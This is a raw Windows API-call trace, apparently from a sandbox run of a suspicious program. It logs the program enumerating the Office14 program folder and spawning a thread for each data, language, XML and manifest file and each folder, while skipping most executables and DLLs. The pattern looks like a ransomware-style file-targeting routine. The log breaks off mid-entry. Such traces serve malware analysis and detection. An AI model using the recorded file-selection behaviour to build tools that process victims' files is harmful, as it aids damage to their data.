ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x8578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGIDX.DAT", cAlternateFileName="")) returned 1 [0086.139] wcscmp (_String1="ENGIDX.DAT", _String2=".") returned 1 [0086.139] wcscmp (_String1="ENGIDX.DAT", _String2="..") returned 1 [0086.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85d710 [0086.139] wcscpy (in: _Dest=0x1b85d710, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.139] wcscat (in: _Dest=0x1b85d710, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.139] wcscat (in: _Dest=0x1b85d710, _Source="ENGIDX.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" [0086.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0086.140] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1 [0086.140] wcscmp (_String1="ENGLISH.LNG", _String2=".") returned 1 [0086.140] wcscmp (_String1="ENGLISH.LNG", _String2="..") returned 1 [0086.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85d790 [0086.140] wcscpy (in: _Dest=0x1b85d790, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.140] wcscat (in: _Dest=0x1b85d790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.140] wcscat (in: _Dest=0x1b85d790, _Source="ENGLISH.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" [0086.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0086.141] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="ENTITY~2.DLL")) returned 1 [0086.141] wcscmp (_String1="EntityDataHandler.dll", _String2=".") returned 1 [0086.141] wcscmp (_String1="EntityDataHandler.dll", _String2="..") returned 1 [0086.141] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0086.141] wcscmp (_String1="EntityPicker.dll", _String2=".") returned 1 [0086.141] wcscmp (_String1="EntityPicker.dll", _String2="..") returned 1 [0086.141] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0086.141] wcscmp (_String1="ENVELOPE.DLL", _String2=".") returned 1 [0086.141] wcscmp (_String1="ENVELOPE.DLL", _String2="..") returned 1 [0086.141] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1 [0086.141] wcscmp (_String1="ERXIMP.ADD", _String2=".") returned 1 [0086.142] wcscmp (_String1="ERXIMP.ADD", _String2="..") returned 1 [0086.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85d810 [0086.142] wcscpy (in: _Dest=0x1b85d810, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.142] wcscat (in: _Dest=0x1b85d810, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.142] wcscat (in: _Dest=0x1b85d810, _Source="ERXIMP.ADD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" [0086.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0086.142] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0086.143] wcscmp (_String1="EXCEL.EXE", _String2=".") returned 1 [0086.143] wcscmp (_String1="EXCEL.EXE", _String2="..") returned 1 [0086.143] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="EXCELE~1.MAN")) returned 1 [0086.143] wcscmp (_String1="excel.exe.manifest", _String2=".") returned 1 [0086.143] wcscmp (_String1="excel.exe.manifest", _String2="..") returned 1 [0086.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85c180 [0086.143] wcscpy (in: _Dest=0x1b85c180, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.143] wcscat (in: _Dest=0x1b85c180, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.143] wcscat (in: _Dest=0x1b85c180, _Source="excel.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" [0086.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0086.144] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0086.144] wcscmp (_String1="excelcnv.exe", _String2=".") returned 1 [0086.144] wcscmp (_String1="excelcnv.exe", _String2="..") returned 1 [0086.144] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="EXCELC~1.DLL")) returned 1 [0086.144] wcscmp (_String1="excelcnvpxy.dll", _String2=".") returned 1 [0086.144] wcscmp (_String1="excelcnvpxy.dll", _String2="..") returned 1 [0086.144] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1 [0086.144] wcscmp (_String1="EXLIRM.XML", _String2=".") returned 1 [0086.144] wcscmp (_String1="EXLIRM.XML", _String2="..") returned 1 [0086.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85d890 [0086.144] wcscpy (in: _Dest=0x1b85d890, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.144] wcscat (in: _Dest=0x1b85d890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.144] wcscat (in: _Dest=0x1b85d890, _Source="EXLIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" [0086.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0086.145] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0086.145] wcscmp (_String1="EXLIRMV.XML", _String2=".") returned 1 [0086.145] wcscmp (_String1="EXLIRMV.XML", _String2="..") returned 1 [0086.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85d910 [0086.145] wcscpy (in: _Dest=0x1b85d910, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.145] wcscat (in: _Dest=0x1b85d910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.145] wcscat (in: _Dest=0x1b85d910, _Source="EXLIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" [0086.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0086.146] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0086.146] wcscmp (_String1="EXSEC32.DLL", _String2=".") returned 1 [0086.146] wcscmp (_String1="EXSEC32.DLL", _String2="..") returned 1 [0086.146] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1 [0086.146] wcscmp (_String1="EXTRACT.DLL", _String2=".") returned 1 [0086.146] wcscmp (_String1="EXTRACT.DLL", _String2="..") returned 1 [0086.146] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0086.147] wcscmp (_String1="FACILITY.DLL", _String2=".") returned 1 [0086.147] wcscmp (_String1="FACILITY.DLL", _String2="..") returned 1 [0086.147] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1 [0086.147] wcscmp (_String1="FORM.DLL", _String2=".") returned 1 [0086.147] wcscmp (_String1="FORM.DLL", _String2="..") returned 1 [0086.147] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0086.147] wcscmp (_String1="FORMS", _String2=".") returned 1 [0086.147] wcscmp (_String1="FORMS", _String2="..") returned 1 [0086.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3570 [0086.147] wcscpy (in: _Dest=0x1b7a3570, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.147] wcscat (in: _Dest=0x1b7a3570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.147] wcscat (in: _Dest=0x1b7a3570, _Source="FORMS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" [0086.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0086.148] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0086.148] wcscmp (_String1="FRENCH.LNG", _String2=".") returned 1 [0086.148] wcscmp (_String1="FRENCH.LNG", _String2="..") returned 1 [0086.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85d990 [0086.148] wcscpy (in: _Dest=0x1b85d990, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.148] wcscat (in: _Dest=0x1b85d990, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.148] wcscat (in: _Dest=0x1b85d990, _Source="FRENCH.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" [0086.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0086.149] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd02ee500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17d368, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0086.149] wcscmp (_String1="GANTT.DLL", _String2=".") returned 1 [0086.149] wcscmp (_String1="GANTT.DLL", _String2="..") returned 1 [0086.149] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76567200, ftCreationTime.dwHighDateTime=0x1cbc9ed, ftLastAccessTime.dwLowDateTime=0xd7980ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76567200, ftLastWriteTime.dwHighDateTime=0x1cbc9ed, nFileSizeHigh=0x0, nFileSizeLow=0x26cb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="GFX.DLL", cAlternateFileName="")) returned 1 [0086.149] wcscmp (_String1="GFX.DLL", _String2=".") returned 1 [0086.149] wcscmp (_String1="GFX.DLL", _String2="..") returned 1 [0086.149] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52abf210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x45a180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0086.149] wcscmp (_String1="GKExcel.dll", _String2=".") returned 1 [0086.149] wcscmp (_String1="GKExcel.dll", _String2="..") returned 1 [0086.149] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a6b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="GKPOWE~1.DLL")) returned 1 [0086.150] wcscmp (_String1="GKPowerPoint.dll", _String2=".") returned 1 [0086.150] wcscmp (_String1="GKPowerPoint.dll", _String2="..") returned 1 [0086.150] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c7ed00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65c7ed00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2f8580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1 [0086.150] wcscmp (_String1="GKWord.dll", _String2=".") returned 1 [0086.150] wcscmp (_String1="GKWord.dll", _String2="..") returned 1 [0086.150] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x52befd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x623b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1 [0086.150] wcscmp (_String1="GRAPH.EXE", _String2=".") returned 1 [0086.150] wcscmp (_String1="GRAPH.EXE", _String2="..") returned 1 [0086.150] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ca8e00, ftCreationTime.dwHighDateTime=0x1cac1de, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2ca8e00, ftLastWriteTime.dwHighDateTime=0x1cac1de, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="GRAPHE~1.MAN")) returned 1 [0086.150] wcscmp (_String1="Graph.exe.manifest", _String2=".") returned 1 [0086.150] wcscmp (_String1="Graph.exe.manifest", _String2="..") returned 1 [0086.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85c210 [0086.150] wcscpy (in: _Dest=0x1b85c210, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.150] wcscat (in: _Dest=0x1b85c210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.150] wcscat (in: _Dest=0x1b85c210, _Source="Graph.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" [0086.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0086.151] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f5d600, ftCreationTime.dwHighDateTime=0x1c3b950, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32f5d600, ftLastWriteTime.dwHighDateTime=0x1c3b950, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1 [0086.151] wcscmp (_String1="GRAPH.ICO", _String2=".") returned 1 [0086.151] wcscmp (_String1="GRAPH.ICO", _String2="..") returned 1 [0086.151] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, 